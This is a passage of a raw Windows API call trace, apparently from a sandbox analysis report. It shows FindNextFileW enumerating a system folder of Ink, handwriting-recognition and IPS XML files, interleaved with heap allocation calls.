dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0143.189] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="")) returned 1 [0143.189] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0143.189] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0143.189] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0143.189] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0143.189] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.189] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.189] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.189] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.189] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.189] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98da68 [0143.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98cc50 [0143.190] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.190] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="")) returned 1 [0143.190] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0143.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.190] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.190] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98da88 [0143.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0143.190] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.190] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0143.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.190] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.190] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98daa8 [0143.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9857d0 [0143.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0x9839e0 [0143.190] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x987648) returned 1 [0143.190] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.190] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0143.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.190] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.190] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98dac8 [0143.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98cd58 [0143.190] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.190] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0143.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.191] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.191] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98dae8 [0143.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985858 [0143.191] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.191] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0143.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.191] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.191] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98db08 [0143.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9858e0 [0143.191] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.191] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0143.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.191] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.191] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98db28 [0143.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985968 [0143.191] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.191] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0143.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.191] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.191] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98db48 [0143.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9859f0 [0143.192] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.192] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0143.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.192] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.192] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.192] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.192] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0143.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.192] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.192] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.192] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.192] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0143.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.192] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.192] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.192] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.192] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0143.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.192] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.192] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.192] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.192] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0143.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.193] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.193] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98db68 [0143.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985a78 [0143.193] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.193] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0143.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.193] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.193] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98db88 [0143.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985b00 [0143.193] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.193] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0143.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.193] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.193] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98dba8 [0143.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985b88 [0143.193] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.193] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0143.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.193] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.193] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98dbc8 [0143.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985c10 [0143.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.194] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0143.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98dbe8 [0143.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985c98 [0143.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.194] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0143.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98dc08 [0143.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985d20 [0143.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.194] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, 